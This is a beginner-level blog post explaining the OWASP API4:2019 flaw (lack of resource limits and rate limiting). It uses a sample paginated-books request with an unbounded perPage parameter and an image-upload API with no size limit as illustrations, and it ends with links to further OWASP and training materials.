https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa5-broken-function-level-authorization.md

https://salt.security/blog/api5-2019-broken-function-level-authorization

https://apisecurity.io/encyclopedia/content/owasp/api5-broken-function-level-authorization.htm

API4:2019 - Lack of Resources & Rate Limiting

Breno Vitório — Sun, 16 Jan 2022 14:47:30 +0000

Hello guys! I'm already feeling a lack of creative resources when trying to introduce these posts 😋

So let's talk about Lack of Resources & Rate Limiting!

🏞️ Getting to Know The Issue

As you certainly know, APIs don't have unlimited power, and their behavior when attending requests during stressful situations depends on some different factors, such as:

Machine resources
Concurrency handling implementation
Complexity of the tasks which are being requested
Code optimization

When the application doesn't have enough restrictions for avoiding these stressful situations, bad guys may abuse them as a vector for getting unwanted behavior, like DoS. This lack of restrictions is what cause API4:2019.

📚 Some examples

🚨 Example 1

A library has an API in which an endpoint receives this request:

GET /api/books?page=1&perPage=3 HTTP/1.1
Host: www.example.com

And returns this response:

HTTP/1.1 200 OK
Content-Type: application/json

[
    {
        "name": "Book nº1",
        "author": "Unknown",
        "synopsys": "Synopsys here...",
        "pages": "590",
    },
    {
        "name": "Book nº2",
        "author": "Unknown",
        "synopsys": "Synopsys 2 here...",
        "pages": "320",
    },
    {
        "name": "Book nº3",
        "author": "Unknown",
        "synopsys": "Synopsys 3 here...",
        "pages": "480",
    }
]

Notice that it returns 3 books per page, because of the perPage query parameter which is on the URL. In this case, API4:2019 happens if there is no mechanism for limiting the value which may be passed to the perPage parameter, because it would make possible for bad guys to retrieve basically the entire books table with just one request. 😲

Abusing it would cause performance issues on the API, or even could make it completely unresponsive in some more specific cases. 😱

🏋️ Example 2

There's an API which receives pictures in order to perform an image processing of contrast adjustment, and after that return the equalized picture.

Although the histogram equalization is not something hard for a computer to do, it still takes some effort when we are working with bigger pictures.

In this scenario, API4:2019 may happen if the API has no method for limiting the size of the images you are uploading. Because it would make possible for bad guys to upload pictures of gigabytes, and it has potential to even crash the server, depending on some other variables.

📖 External materials

As my goal with this series is to just explain what each flaw is while I'm learning about them all, I would like to suggest some materials about lack of resources and rate limiting, so you understand better the details of it:

https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md

https://salt.security/blog/api4-2019-lack-of-resources-rate-limiting

Also, TheXSSRat has this amazing training for OWASP API Security Top 10. Consider taking a look at his labs:

https://hackxpert.com/API-testing.php